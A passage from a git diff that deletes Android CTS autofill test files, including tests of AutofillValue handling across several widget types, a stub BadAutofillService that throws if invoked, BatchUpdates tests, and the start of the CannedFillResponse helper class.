-    }
-
-    @Test
-    public void createDateValue() throws Exception {
-        assertThat(AutofillValue.forDate(-1).getDateValue()).isEqualTo(-1);
-        assertThat(AutofillValue.forDate(0).getDateValue()).isEqualTo(0);
-        assertThat(AutofillValue.forDate(1).getDateValue()).isEqualTo(1);
-
-        assertThat(AutofillValue.forDate(0).isText()).isFalse();
-        assertThat(AutofillValue.forDate(0).isToggle()).isFalse();
-        assertThat(AutofillValue.forDate(0).isList()).isFalse();
-        assertThat(AutofillValue.forDate(0).isDate()).isTrue();
-
-        final AutofillValue v = AutofillValue.forDate(0);
-
-        assertThrows(IllegalStateException.class, v::getTextValue);
-        assertThrows(IllegalStateException.class, v::getToggleValue);
-        assertThrows(IllegalStateException.class, v::getListValue);
-    }
-
-    /**
-     * Trigger autofill on a view.
-     *
-     * @param view The view to trigger the autofill on
-     */
-    private void startAutoFill(@NonNull View view) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            view.clearFocus();
-            view.requestFocus();
-        });
-
-        sReplier.getNextFillRequest();
-    }
-
-    private void autofillEditText(@Nullable AutofillValue value, String expectedText,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("editText", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeTextWatcher textWatcher = new OneTimeTextWatcher("editText", mEditText,
-                expectedText);
-        mEditText.addTextChangedListener(textWatcher);
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            textWatcher.assertAutoFilled();
-        } else {
-            assertThat(mEditText.getText().toString()).isEqualTo(expectedText);
-        }
-    }
-
-    @Test
-    public void autofillValidTextValue() throws Exception {
-        autofillEditText(AutofillValue.forText("filled"), "filled", true);
-    }
-
-    @Test
-    public void autofillEmptyTextValue() throws Exception {
-        autofillEditText(AutofillValue.forText(""), "", true);
-    }
-
-    @Test
-    public void autofillTextWithListValue() throws Exception {
-        autofillEditText(AutofillValue.forList(0), "", false);
-    }
-
-    @Test
-    public void getEditTextAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setText("test"));
-        assertThat(mEditText.getAutofillValue()).isEqualTo(AutofillValue.forText("test"));
-
-        mActivity.syncRunOnUiThread(() -> mEditText.setEnabled(false));
-        assertThat(mEditText.getAutofillValue()).isNull();
-    }
-
-    private void autofillCompoundButton(@Nullable AutofillValue value, boolean expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("compoundButton", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeCompoundButtonListener checkedWatcher = new OneTimeCompoundButtonListener(
-                    "compoundButton", mCompoundButton, expectedValue);
-        mCompoundButton.setOnCheckedChangeListener(checkedWatcher);
-
-        startAutoFill(mCompoundButton);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            checkedWatcher.assertAutoFilled();
-        } else {
-            assertThat(mCompoundButton.isChecked()).isEqualTo(expectedValue);
-        }
-    }
-
-    @Test
-    public void autofillToggleValueWithTrue() throws Exception {
-        autofillCompoundButton(AutofillValue.forToggle(true), true, true);
-    }
-
-    @Test
-    public void autofillToggleValueWithFalse() throws Exception {
-        autofillCompoundButton(AutofillValue.forToggle(false), false, false);
-    }
-
-    @Test
-    public void autofillCompoundButtonWithTextValue() throws Exception {
-        autofillCompoundButton(AutofillValue.forText(""), false, false);
-    }
-
-    @Test
-    public void getCompoundButtonAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setChecked(true));
-        assertThat(mCompoundButton.getAutofillValue()).isEqualTo(AutofillValue.forToggle(true));
-
-        mActivity.syncRunOnUiThread(() -> mCompoundButton.setEnabled(false));
-        assertThat(mCompoundButton.getAutofillValue()).isNull();
-    }
-
-    private void autofillListValue(@Nullable AutofillValue value, int expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mSpinner.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("spinner", value)
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeSpinnerListener spinnerWatcher = new OneTimeSpinnerListener(
-                "spinner", mSpinner, expectedValue);
-        mSpinner.setOnItemSelectedListener(spinnerWatcher);
-
-        startAutoFill(mSpinner);
-
-        // Autofill it.
-        mUiBot.selectDatasetSync("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            spinnerWatcher.assertAutoFilled();
-        } else {
-            assertThat(mSpinner.getSelectedItemPosition()).isEqualTo(expectedValue);
-        }
-    }
-
-    @Test
-    public void autofillZeroListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(0), 0, false);
-    }
-
-    @Test
-    public void autofillOneListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(1), 1, true);
-    }
-
-    @Test
-    public void autofillInvalidListValueToSpinner() throws Exception {
-        autofillListValue(AutofillValue.forList(-1), 0, false);
-    }
-
-    @Test
-    public void autofillSpinnerWithTextValue() throws Exception {
-        autofillListValue(AutofillValue.forText(""), 0, false);
-    }
-
-    @Test
-    public void getSpinnerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mSpinner.setSelection(1));
-        assertThat(mSpinner.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
-
-        mActivity.syncRunOnUiThread(() -> mSpinner.setEnabled(false));
-        assertThat(mSpinner.getAutofillValue()).isNull();
-    }
-
-    private void autofillDateValueToDatePicker(@Nullable AutofillValue value,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mEditText.setVisibility(View.VISIBLE);
-            mDatePicker.setVisibility(View.VISIBLE);
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("datePicker", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        OneTimeDateListener dateWatcher = new OneTimeDateListener("datePicker", mDatePicker,
-                2017, 3, 7);
-        mDatePicker.setOnDateChangedListener(dateWatcher);
-
-        int nonAutofilledYear = mDatePicker.getYear();
-        int nonAutofilledMonth = mDatePicker.getMonth();
-        int nonAutofilledDay = mDatePicker.getDayOfMonth();
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            dateWatcher.assertAutoFilled();
-        } else {
-            Helper.assertDateValue(mDatePicker, nonAutofilledYear, nonAutofilledMonth,
-                    nonAutofilledDay);
-        }
-    }
-
-    private long getDateAsMillis(int year, int month, int day, int hour, int minute) {
-        Calendar calendar = Calendar.getInstance(
-                mActivity.getResources().getConfiguration().getLocales().get(0));
-
-        calendar.set(year, month, day, hour, minute);
-
-        return calendar.getTimeInMillis();
-    }
-
-    @Test
-    public void autofillValidDateValueToDatePicker() throws Exception {
-        autofillDateValueToDatePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
-                true);
-    }
-
-    @Test
-    public void autofillDatePickerWithTextValue() throws Exception {
-        autofillDateValueToDatePicker(AutofillValue.forText(""), false);
-    }
-
-    @Test
-    public void getDatePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mDatePicker.updateDate(2017, 3, 7));
-
-        Helper.assertDateValue(mDatePicker, 2017, 3, 7);
-
-        mActivity.syncRunOnUiThread(() -> mDatePicker.setEnabled(false));
-        assertThat(mDatePicker.getAutofillValue()).isNull();
-    }
-
-    private void autofillDateValueToTimePicker(@Nullable AutofillValue value,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mEditText.setVisibility(View.VISIBLE);
-            mTimePicker.setIs24HourView(true);
-            mTimePicker.setVisibility(View.VISIBLE);
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("timePicker", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 1,
-                mTimePicker, 12, 32);
-        mTimePicker.setOnTimeChangedListener(timeWatcher);
-
-        int nonAutofilledHour = mTimePicker.getHour();
-        int nonAutofilledMinute = mTimePicker.getMinute();
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            timeWatcher.assertAutoFilled();
-        } else {
-            Helper.assertTimeValue(mTimePicker, nonAutofilledHour, nonAutofilledMinute);
-        }
-    }
-
-    @Test
-    public void autofillValidDateValueToTimePicker() throws Exception {
-        autofillDateValueToTimePicker(AutofillValue.forDate(getDateAsMillis(2017, 3, 7, 12, 32)),
-                true);
-    }
-
-    @Test
-    public void autofillTimePickerWithTextValue() throws Exception {
-        autofillDateValueToTimePicker(AutofillValue.forText(""), false);
-    }
-
-    @Test
-    public void getTimePickerAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> {
-            mTimePicker.setHour(12);
-            mTimePicker.setMinute(32);
-        });
-
-        Helper.assertTimeValue(mTimePicker, 12, 32);
-
-        mActivity.syncRunOnUiThread(() -> mTimePicker.setEnabled(false));
-        assertThat(mTimePicker.getAutofillValue()).isNull();
-    }
-
-    private void autofillRadioGroup(@Nullable AutofillValue value, int expectedValue,
-            boolean expectAutoFill) throws Exception {
-        mActivity.syncRunOnUiThread(() -> mEditText.setVisibility(View.VISIBLE));
-        mActivity.syncRunOnUiThread(() -> mRadioGroup.setVisibility(View.VISIBLE));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.CannedDataset.Builder()
-                .setField("radioGroup", value)
-                .setField("editText", "filled")
-                .setPresentation(createPresentation("dataset"))
-                .build());
-        MultipleTimesRadioGroupListener radioGroupWatcher = new MultipleTimesRadioGroupListener(
-                "radioGroup", 2, mRadioGroup, expectedValue);
-        mRadioGroup.setOnCheckedChangeListener(radioGroupWatcher);
-
-        // Trigger autofill.
-        startAutoFill(mEditText);
-
-        // Autofill it.
-        mUiBot.selectDataset("dataset");
-
-        if (expectAutoFill) {
-            // Check the results.
-            radioGroupWatcher.assertAutoFilled();
-        } else {
-            if (expectedValue == 0) {
-                assertThat(mRadioButton1.isChecked()).isEqualTo(true);
-                assertThat(mRadioButton2.isChecked()).isEqualTo(false);
-            } else {
-                assertThat(mRadioButton1.isChecked()).isEqualTo(false);
-                assertThat(mRadioButton2.isChecked()).isEqualTo(true);
-
-            }
-        }
-    }
-
-    @Test
-    public void autofillZeroListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(0), 0, false);
-    }
-
-    @Test
-    public void autofillOneListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(1), 1, true);
-    }
-
-    @Test
-    public void autofillInvalidListValueToRadioGroup() throws Exception {
-        autofillRadioGroup(AutofillValue.forList(-1), 0, false);
-    }
-
-    @Test
-    public void autofillRadioGroupWithTextValue() throws Exception {
-        autofillRadioGroup(AutofillValue.forText(""), 0, false);
-    }
-
-    @Test
-    public void getRadioGroupAutoFillValue() throws Exception {
-        mActivity.syncRunOnUiThread(() -> mRadioButton2.setChecked(true));
-        assertThat(mRadioGroup.getAutofillValue()).isEqualTo(AutofillValue.forList(1));
-
-        mActivity.syncRunOnUiThread(() -> mRadioGroup.setEnabled(false));
-        assertThat(mRadioGroup.getAutofillValue()).isNull();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
deleted file mode 100644
index 19a8ec1..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import android.os.CancellationSignal;
-import android.service.autofill.AutofillService;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillRequest;
-import android.service.autofill.SaveCallback;
-import android.service.autofill.SaveRequest;
-import android.util.Log;
-
-/**
- * An {@link AutofillService} implementation that does fails if called upon.
- */
-public class BadAutofillService extends AutofillService {
-
-    private static final String TAG = "BadAutofillService";
-
-    static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
-            + "/." + BadAutofillService.class.getSimpleName();
-    static final String SERVICE_LABEL = "BadAutofillService";
-
-    @Override
-    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
-            FillCallback callback) {
-        Log.e(TAG, "onFillRequest() should never be called");
-        throw new UnsupportedOperationException("onFillRequest() should never be called");
-    }
-
-    @Override
-    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
-        Log.e(TAG, "onSaveRequest() should never be called");
-        throw new UnsupportedOperationException("onSaveRequest() should never be called");
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java b/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
deleted file mode 100644
index b063342..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/BatchUpdatesTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.mockito.Mockito.mock;
-import static org.testng.Assert.assertThrows;
-
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.InternalTransformation;
-import android.service.autofill.Transformation;
-import android.widget.RemoteViews;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Unit test")
-public class BatchUpdatesTest {
-
-    private final BatchUpdates.Builder mBuilder = new BatchUpdates.Builder();
-
-    @Test
-    public void testAddTransformation_null() {
-        assertThrows(IllegalArgumentException.class, () ->  mBuilder.transformChild(42, null));
-    }
-
-    @Test
-    public void testAddTransformation_invalidClass() {
-        assertThrows(IllegalArgumentException.class,
-                () ->  mBuilder.transformChild(42, mock(Transformation.class)));
-    }
-
-    @Test
-    public void testSetUpdateTemplate_null() {
-        assertThrows(NullPointerException.class, () ->  mBuilder.updateTemplate(null));
-    }
-
-    @Test
-    public void testEmptyObject() {
-        assertThrows(IllegalStateException.class, () ->  mBuilder.build());
-    }
-
-    @Test
-    public void testNoMoreChangesAfterBuild() {
-        assertThat(mBuilder.updateTemplate(mock(RemoteViews.class)).build()).isNotNull();
-        assertThrows(IllegalStateException.class,
-                () ->  mBuilder.updateTemplate(mock(RemoteViews.class)));
-        assertThrows(IllegalStateException.class,
-                () ->  mBuilder.transformChild(42, mock(InternalTransformation.class)));
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
deleted file mode 100644
index 3fd6ce6..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ /dev/null
@@ -1,888 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Helper.createInlinePresentation;
-import static android.autofillservice.cts.Helper.createPresentation;
-import static android.autofillservice.cts.Helper.getAutofillIds;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.service.autofill.Dataset;
-import android.service.autofill.FillCallback;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillResponse;
-import android.service.autofill.InlinePresentation;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.UserData;
-import android.util.Log;
-import android.util.Pair;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillValue;
-import android.widget.RemoteViews;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.function.Function;
-import java.util.regex.Pattern;
-
-/**
- * Helper class used to produce a {@link FillResponse} based on expected fields that should be
- * present in the {@link AssistStructure}.
- *
- * <p>Typical usage:
- *
- * <pre class="prettyprint">
- * InstrumentedAutoFillService.setFillResponse(new CannedFillResponse.Builder()
- *               .addDataset(new CannedDataset.Builder("dataset_name")
- *                   .setField("resource_id1", AutofillValue.forText("value1"))
- *                   .setField("resource_id2", AutofillValue.forText("value2"))
- *                   .build())
- *               .build());
- * </pre class="prettyprint">
- */
-public final class CannedFillResponse {
-
-    private static final String TAG = CannedFillResponse.class.getSimpleName();
-
-    private final ResponseType mResponseType;
-    private final List<CannedDataset> mDatasets;
-    private final String mFailureMessage;
-    private final int mSaveType;
-    private final String[] mRequiredSavableIds;
-    private final String[] mOptionalSavableIds;
-    private final AutofillId[] mRequiredSavableAutofillIds;
-    private final CharSequence mSaveDescription;
-    private final Bundle mExtras;
-    private final RemoteViews mPresentation;
-    private final InlinePresentation mInlinePresentation;
-    private final RemoteViews mHeader;
-    private final RemoteViews mFooter;
-    private final IntentSender mAuthentication;
-    private final String[] mAuthenticationIds;
-    private final String[] mIgnoredIds;
-    private final int mNegativeActionStyle;
-    private final IntentSender mNegativeActionListener;
-    private final int mPositiveActionStyle;
-    private final int mSaveInfoFlags;
-    private final int mFillResponseFlags;
-    private final AutofillId mSaveTriggerId;
-    private final long mDisableDuration;
-    private final String[] mFieldClassificationIds;
-    private final boolean mFieldClassificationIdsOverflow;
-    private final SaveInfoDecorator mSaveInfoDecorator;
-    private final UserData mUserData;
-    private final DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
-    private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
-    private final int[] mCancelIds;
-
-    private CannedFillResponse(Builder builder) {
-        mResponseType = builder.mResponseType;
-        mDatasets = builder.mDatasets;
-        mFailureMessage = builder.mFailureMessage;
-        mRequiredSavableIds = builder.mRequiredSavableIds;
-        mRequiredSavableAutofillIds = builder.mRequiredSavableAutofillIds;
-        mOptionalSavableIds = builder.mOptionalSavableIds;
-        mSaveDescription = builder.mSaveDescription;
-        mSaveType = builder.mSaveType;
-        mExtras = builder.mExtras;
-        mPresentation = builder.mPresentation;
-        mInlinePresentation = builder.mInlinePresentation;
-        mHeader = builder.mHeader;
-        mFooter = builder.mFooter;
-        mAuthentication = builder.mAuthentication;
-        mAuthenticationIds = builder.mAuthenticationIds;
-        mIgnoredIds = builder.mIgnoredIds;
-        mNegativeActionStyle = builder.mNegativeActionStyle;
-        mNegativeActionListener = builder.mNegativeActionListener;
-        mPositiveActionStyle = builder.mPositiveActionStyle;
-        mSaveInfoFlags = builder.mSaveInfoFlags;
-        mFillResponseFlags = builder.mFillResponseFlags;
-        mSaveTriggerId = builder.mSaveTriggerId;
-        mDisableDuration = builder.mDisableDuration;
-        mFieldClassificationIds = builder.mFieldClassificationIds;
-        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
-        mSaveInfoDecorator = builder.mSaveInfoDecorator;
-        mUserData = builder.mUserData;
-        mVisitor = builder.mVisitor;
-        mSaveInfoVisitor = builder.mSaveInfoVisitor;
-        mCancelIds = builder.mCancelIds;
-    }
-
-    /**
-     * Constant used to pass a {@code null} response to the
-     * {@link FillCallback#onSuccess(FillResponse)} method.
-     */
-    public static final CannedFillResponse NO_RESPONSE =
-            new Builder(ResponseType.NULL).build();
-
-    /**
-     * Constant used to fail the test when an expected request was made.
-     */
-    public static final CannedFillResponse NO_MOAR_RESPONSES =
-            new Builder(ResponseType.NO_MORE).build();
-
-    /**
-     * Constant used to emulate a timeout by not calling any method on {@link FillCallback}.
-     */
-    public static final CannedFillResponse DO_NOT_REPLY_RESPONSE =
-            new Builder(ResponseType.TIMEOUT).build();
-
-    /**
-     * Constant used to call {@link FillCallback#onFailure(CharSequence)} method.
-     */
-    public static final CannedFillResponse FAIL =
-            new Builder(ResponseType.FAILURE).build();
-
-    public String getFailureMessage() {
-        return mFailureMessage;
-    }
-
-    public ResponseType getResponseType() {
-        return mResponseType;
-    }
-
-    /**
-     * Creates a new response, replacing the dataset field ids by the real ids from the assist
-     * structure.
-     */
-    public FillResponse asFillResponse(@Nullable List<FillContext> contexts,
-            @NonNull Function<String, ViewNode> nodeResolver) {
-        final FillResponse.Builder builder = new FillResponse.Builder()
-                .setFlags(mFillResponseFlags);
-        if (mDatasets != null) {
-            for (CannedDataset cannedDataset : mDatasets) {
-                final Dataset dataset = cannedDataset.asDataset(nodeResolver);
-                assertWithMessage("Cannot create datase").that(dataset).isNotNull();
-                builder.addDataset(dataset);
-            }
-        }
-        final SaveInfo.Builder saveInfoBuilder;
-        if (mRequiredSavableIds != null || mOptionalSavableIds != null
-                || mRequiredSavableAutofillIds != null || mSaveInfoDecorator != null) {
-            if (mRequiredSavableAutofillIds != null) {
-                saveInfoBuilder = new SaveInfo.Builder(mSaveType, mRequiredSavableAutofillIds);
-            } else {
-                saveInfoBuilder = mRequiredSavableIds == null || mRequiredSavableIds.length == 0
-                        ? new SaveInfo.Builder(mSaveType)
-                            : new SaveInfo.Builder(mSaveType,
-                                    getAutofillIds(nodeResolver, mRequiredSavableIds));
-            }
-
-            saveInfoBuilder.setFlags(mSaveInfoFlags);
-
-            if (mOptionalSavableIds != null) {
-                saveInfoBuilder.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
-            }
-            if (mSaveDescription != null) {
-                saveInfoBuilder.setDescription(mSaveDescription);
-            }
-            if (mNegativeActionListener != null) {
-                saveInfoBuilder.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
-            }
-
-            saveInfoBuilder.setPositiveAction(mPositiveActionStyle);
-
-            if (mSaveTriggerId != null) {
-                saveInfoBuilder.setTriggerId(mSaveTriggerId);
-            }
-        } else if (mSaveInfoFlags != 0) {
-            saveInfoBuilder = new SaveInfo.Builder(mSaveType).setFlags(mSaveInfoFlags);
-        } else {
-            saveInfoBuilder = null;
-        }
-        if (saveInfoBuilder != null) {
-            // TODO: merge decorator and visitor
-            if (mSaveInfoDecorator != null) {
-                mSaveInfoDecorator.decorate(saveInfoBuilder, nodeResolver);
-            }
-            if (mSaveInfoVisitor != null) {
-                Log.d(TAG, "Visiting saveInfo " + saveInfoBuilder);
-                mSaveInfoVisitor.visit(contexts, saveInfoBuilder);
-            }
-            final SaveInfo saveInfo = saveInfoBuilder.build();
-            Log.d(TAG, "saveInfo:" + saveInfo);
-            builder.setSaveInfo(saveInfo);
-        }
-        if (mIgnoredIds != null) {
-            builder.setIgnoredIds(getAutofillIds(nodeResolver, mIgnoredIds));
-        }
-        if (mAuthenticationIds != null) {
-            builder.setAuthentication(getAutofillIds(nodeResolver, mAuthenticationIds),
-                    mAuthentication, mPresentation, mInlinePresentation);
-        }
-        if (mDisableDuration > 0) {
-            builder.disableAutofill(mDisableDuration);
-        }
-        if (mFieldClassificationIdsOverflow) {
-            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
-            final AutofillId[] fieldIds = new AutofillId[length];
-            for (int i = 0; i < length; i++) {
-                fieldIds[i] = new AutofillId(i);
-            }
-            builder.setFieldClassificationIds(fieldIds);
-        } else if (mFieldClassificationIds != null) {
-            builder.setFieldClassificationIds(
-                    getAutofillIds(nodeResolver, mFieldClassificationIds));
-        }
-        if (mExtras != null) {
-            builder.setClientState(mExtras);
-        }
-        if (mHeader != null) {
-            builder.setHeader(mHeader);
-        }
-        if (mFooter != null) {
-            builder.setFooter(mFooter);
-        }
-        if (mUserData != null) {
-            builder.setUserData(mUserData);
-        }
-        if (mVisitor != null) {
-            Log.d(TAG, "Visiting " + builder);
-            mVisitor.visit(contexts, builder);
-        }
-        builder.setPresentationCancelIds(mCancelIds);
-
-        final FillResponse response = builder.build();
-        Log.v(TAG, "Response: " + response);
-        return response;
-    }
-
-    @Override
-    public String toString() {
-        return "CannedFillResponse: [type=" + mResponseType
-                + ",datasets=" + mDatasets
-                + ", requiredSavableIds=" + Arrays.toString(mRequiredSavableIds)
-                + ", optionalSavableIds=" + Arrays.toString(mOptionalSavableIds)
-                + ", requiredSavableAutofillIds=" + Arrays.toString(mRequiredSavableAutofillIds)
-                + ", saveInfoFlags=" + mSaveInfoFlags
-                + ", fillResponseFlags=" + mFillResponseFlags
-                + ", failureMessage=" + mFailureMessage
-                + ", saveDescription=" + mSaveDescription
-                + ", hasPresentation=" + (mPresentation != null)
-                + ", hasInlinePresentation=" + (mInlinePresentation != null)
-                + ", hasHeader=" + (mHeader != null)
-                + ", hasFooter=" + (mFooter != null)
-                + ", hasAuthentication=" + (mAuthentication != null)
-                + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
-                + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
-                + ", saveTriggerId=" + mSaveTriggerId
-                + ", disableDuration=" + mDisableDuration
-                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
-                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
-                + ", saveInfoDecorator=" + mSaveInfoDecorator
-                + ", userData=" + mUserData
-                + ", visitor=" + mVisitor
-                + ", saveInfoVisitor=" + mSaveInfoVisitor
-                + "]";
-    }
-
-    public enum ResponseType {
-        NORMAL,
-        NULL,
-        NO_MORE,
-        TIMEOUT,
-        FAILURE,
-        DELAY
-    }
-
-    public static final class Builder {
-        private final List<CannedDataset> mDatasets = new ArrayList<>();
-        private final ResponseType mResponseType;
-        private String mFailureMessage;
-        private String[] mRequiredSavableIds;
-        private String[] mOptionalSavableIds;
-        private AutofillId[] mRequiredSavableAutofillIds;
-        private CharSequence mSaveDescription;
-        public int mSaveType = -1;
-        private Bundle mExtras;
-        private RemoteViews mPresentation;
-        private InlinePresentation mInlinePresentation;
-        private RemoteViews mFooter;
-        private RemoteViews mHeader;
-        private IntentSender mAuthentication;
-        private String[] mAuthenticationIds;
-        private String[] mIgnoredIds;
-        private int mNegativeActionStyle;
-        private IntentSender mNegativeActionListener;
-        private int mPositiveActionStyle;
-        private int mSaveInfoFlags;
-        private int mFillResponseFlags;
-        private AutofillId mSaveTriggerId;
-        private long mDisableDuration;
-        private String[] mFieldClassificationIds;
-        private boolean mFieldClassificationIdsOverflow;
-        private SaveInfoDecorator mSaveInfoDecorator;
-        private UserData mUserData;
-        private DoubleVisitor<List<FillContext>, FillResponse.Builder> mVisitor;
-        private DoubleVisitor<List<FillContext>, SaveInfo.Builder> mSaveInfoVisitor;
-        private int[] mCancelIds;
-
-        public Builder(ResponseType type) {
-            mResponseType = type;
-        }
-
-        public Builder() {
-            this(ResponseType.NORMAL);
-        }
-
-        public Builder addDataset(CannedDataset dataset) {
-            assertWithMessage("already set failure").that(mFailureMessage).isNull();
-            mDatasets.add(dataset);
-            return this;
-        }
-
-        /**
-         * Sets the required savable ids based on their {@code resourceId}.
-         */
-        public Builder setRequiredSavableIds(int type, String... ids) {
-            mSaveType = type;
-            mRequiredSavableIds = ids;
-            return this;
-        }
-
-        public Builder setSaveInfoFlags(int flags) {
-            mSaveInfoFlags = flags;
-            return this;
-        }
-
-        public Builder setFillResponseFlags(int flags) {
-            mFillResponseFlags = flags;
-            return this;
-        }
-
-        /**
-         * Sets the optional savable ids based on they {@code resourceId}.
-         */
-        public Builder setOptionalSavableIds(String... ids) {
-            mOptionalSavableIds = ids;
-            return this;
-        }
-
-        /**
-         * Sets the description passed to the {@link SaveInfo}.
-         */
-        public Builder setSaveDescription(CharSequence description) {
-            mSaveDescription = description;
-            return this;
-        }
-
-        /**
-         * Sets the extra passed to {@link
-         * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
-         */
-        public Builder setExtras(Bundle data) {
-            mExtras = data;
-            return this;
